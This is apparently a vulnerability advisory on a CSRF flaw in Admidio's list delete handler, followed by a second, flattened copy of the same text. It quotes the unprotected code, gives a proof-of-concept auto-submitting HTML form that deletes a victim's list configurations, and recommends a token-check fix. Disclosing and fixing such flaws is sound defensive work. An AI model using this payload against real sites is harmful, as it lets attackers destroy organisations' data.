Summary
The delete mode handler in mylist_function.php permanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.
Vulnerable Code
File: modules/groups-roles/mylist_function.php
The CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
// Line 81-82 — only runs for save modes
$categoryReportConfigForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
if ($_POST['adm_csrf_token'] !== $categoryReportConfigForm->getCsrfToken()) {
throw new Exception('Invalid or missing CSRF token!');
}
The delete case at lines 159–161 executes the destructive operation with no token check:
} elseif ($getMode === 'delete') {
// delete list configuration
$list->delete(); // no CSRF validation
echo json_encode(array('status' => 'success', ...));
exit();
}
A global input guard at lines 40–48 requires a non-empty column[] POST parameter for all modes including delete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such as LAST_NAME is sufficient.
Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.
Proof of Concept
First my video PoC, after that, the proof of concept with detail.
Watch Video
- Prerequisites: Victim is authenticated in Admidio. Attacker knows the target list UUID (visible in the page URL at modules/groups-roles/mylist.php?list_uuid=...)
- Step 1: Attacker serves this page from any HTTP origin:
<!DOCTYPE html>
<html>
<body>
<form id="f" method="POST"
action="http://TARGET/modules/groups-roles/mylist_function.php?mode=delete&list_uuid=TARGET_UUID">
<input type="hidden" name="column[]" value="LAST_NAME">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
Since browsers block CSRF files, I did the proof of concept by setting up a local server with Python on the 9090. ok?
- Step 2: Victim visits the attacker page while logged into Admidio.
- Step 3: Server responds immediately:
{"status":"success","url":".../modules/groups-roles/mylist.php"}
- Step 4: List is permanently deleted. Verified via:
SELECT lst_name FROM adm_lists WHERE lst_uuid='TARGET_UUID';
-- Empty result set
No adm_csrf_token field is required anywhere in the request.
Recommendation Fix:
It's so simple.
- Apply the same
SecurityUtils::validateCsrfToken() pattern already used in the save modes:
} elseif ($getMode === 'delete') {
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$list->delete();
echo json_encode(array('status' => 'success', ...));
exit();
}Additionally, the column[] input guard at lines 40–48 should be moved inside the in_array($getMode, ['save', 'save_as', 'save_temporary']) block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.
Reported by: Juan Felipe Oz @JF0x0r
LinkedIn
References
JFOZ1010 Reporter
Summary
The
deletemode handler inmylist_function.phppermanently deletes list configurations without validating a CSRF token. An attacker who can lure an authenticated user to a malicious page can silently destroy that user's list configurations — including organization-wide shared lists when the victim holds administrator rights.Vulnerable Code
File:
modules/groups-roles/mylist_function.phpThe CSRF token validation at lines 81–82 is scoped exclusively to the save, save_as, and save_temporary modes:
The
deletecase at lines 159–161 executes the destructive operation with no token check:A global input guard at lines 40–48 requires a non-empty
column[]POST parameter for all modes includingdelete. This guard serves no security purpose for deletion, it exists for save validation but it must be satisfied to reach the delete handler. Any static value such asLAST_NAMEis sufficient.Impact
Any authenticated user with list edit permission can be targeted. Admidio ships with six organization-wide shared lists (
lst_global = 1): Address list, Phone list, Contact information, Membership, Members, and Contacts. When an administrator is the CSRF victim, these global lists are permanently deleted affecting all members of the organization. There is no soft-delete or recovery mechanism.Proof of Concept
Watch Video
{"status":"success","url":".../modules/groups-roles/mylist.php"}Recommendation Fix:
SecurityUtils::validateCsrfToken()pattern already used in the save modes:Additionally, the
column[]input guard at lines 40–48 should be moved inside thein_array($getMode, ['save', 'save_as', 'save_temporary'])block, since delete requires no column data and the guard currently forces attackers to include a trivially satisfiable dummy value.Reported by: Juan Felipe Oz @JF0x0r
References